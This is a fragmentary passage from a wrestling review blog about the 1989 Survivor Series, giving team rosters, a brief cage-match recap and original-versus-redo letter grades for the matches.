Rick Rude, Fabulous Rougeau Brothers, Mr. Perfect

Roddy Piper, Bushwhackers, Jimmy Snuka

Ultimate Warriors vs. Heenan Family

Ultimate Warrior, Jim Neidhart, Rockers

Andre the Giant, Arn Anderson, Haku, Bobby Heenan

Warrior sprints up the aisle and clotheslines Heenan as he leaves to end the show.

Hulk Hogan/Brutus Beefcake vs. Zeus/Randy Savage

Hogan slams Zeus into the cage a few times and down goes the monster. Savage gets whipped HARD into the cage by Brutus and both heels eat Hogan boots in the corner. Zeus gets double teamed but he sends both Hogan and Beefcake into the cage to take over. Savage tries to climb out but Beefcake stops him. Sherri tries to help Savage but Beefcake rams their heads together to keep Savage in the match.

Ratings Comparison:

Dream Team vs. Enforcers

Original: B-

Redo: C+

Original: B+

Redo: D+

Hulkamaniacs vs. Million Dollar Team

Original: D-

Redo: C

Original: D

Redo: C-

Ultimate Warriors vs. Heenan Family

Original: C+

Redo: C-

Overall Rating

Original: D+

Redo: D

Bonus Match

Original: B-

Redo: B

http://kbwrestlingreviews.com/2011/11/08/history-of-survivor-series-count-up-1989-includes-a-bonus-review/

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

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